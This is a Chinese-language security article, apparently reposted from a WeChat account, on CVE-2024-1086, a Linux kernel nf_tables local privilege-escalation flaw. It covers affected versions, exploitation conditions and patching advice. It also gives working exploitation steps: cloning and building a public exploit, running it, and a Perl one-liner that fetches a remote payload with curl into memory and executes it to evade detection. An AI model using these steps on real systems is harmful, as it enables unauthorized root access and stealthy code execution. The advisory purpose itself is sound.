随着技术的发展,系统安全性成为了各大企业和开发者关注的重点。然而,近日曝光的CVE-2024-1086漏洞引发了广泛关注。这个漏洞影响了Linux内核5.14到6.6版本之间的大多数系统,具有极高的本地权限提升成功率,并对各大Linux发行版如Debian、Ubuntu以及KernelCTF等系统构成了严重威胁。
一、漏洞概述
CVE-2024-1086是一个通用的本地权限提升漏洞,它影响了从v5.14到v6.6版本的Linux内核,尤其是KernelCTF环境下的成功率高达99.4%。虽然官方已经在2024年2月发布了针对部分受影响版本的补丁,但未打补丁的系统仍然面临着严重的安全风险。
该漏洞影响的内核版本范围广泛,从v3.15到v6.8-rc1的所有版本都受其影响,除了一些已经被修复的稳定分支(例如v5.15.149、v6.1.76、v6.6.15及以上版本)。
二、漏洞利用条件
要成功利用该漏洞,系统需要满足以下条件:
-
用户命名空间(CONFIG_USER_NS=y):用户命名空间必须启用且是无特权的。
-
nf_tables模块(CONFIG_NF_TABLES=y):nf_tables模块必须启用。
-
物理内存配置:对于物理内存超过32GiB的机器,需增加配置CONFIG_PHYS_MEM。
此外,该漏洞在配置了kconfig CONFIG_INIT_ON_ALLOC_DEFAULT_ON=y的v6.4及更高版本内核上不可利用,如Ubuntu v6.5版本。同时,漏洞在有大量网络活动的系统上不稳定,尤其是在WiFi网络密集的环境中,建议在测试时关闭WiFi适配器。
三、漏洞利用步骤
使用该漏洞进行本地权限提升的步骤相对简单,主要包括以下几个步骤:
-
配置与编译:
-
下载并克隆代码库:
git clone https://github.com/Notselwyn/CVE-2024-1086
-
进入目录并编译:
cd CVE-2024-1086 && make
-
执行:
perl复制代码perl -e '
require qw/syscall.ph/;
my $fd = syscall(SYS_memfd_create(), $fn, 0);
system "curl https://example.com/exploit -s >&$fd";
exec {"/proc/$$/fd/$fd"} "memfd";
' -
在本地直接运行编译好的二进制文件:
./exploit
-
在特定情况下,也可以使用无文件执行方式,以绕过检测:
四、影响与防护措施
该漏洞一旦被成功利用,攻击者可以获取系统的最高权限,从而对系统造成不可估量的损害。特别是对于存在大量网络活动或WiFi适配器开启的系统,漏洞利用的成功率较低,但其潜在的威胁依然不可忽视。
为防范该漏洞,建议系统管理员尽快检查并更新系统内核至安全版本。同时,在网络密集环境中运行的系统,应尽量避免不必要的网络活动,并关闭WiFi适配器以降低风险。
原文始发于微信公众号(云梦安全):深入解析CVE-2024-1086漏洞:Linux内核的本地权限提升威胁
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论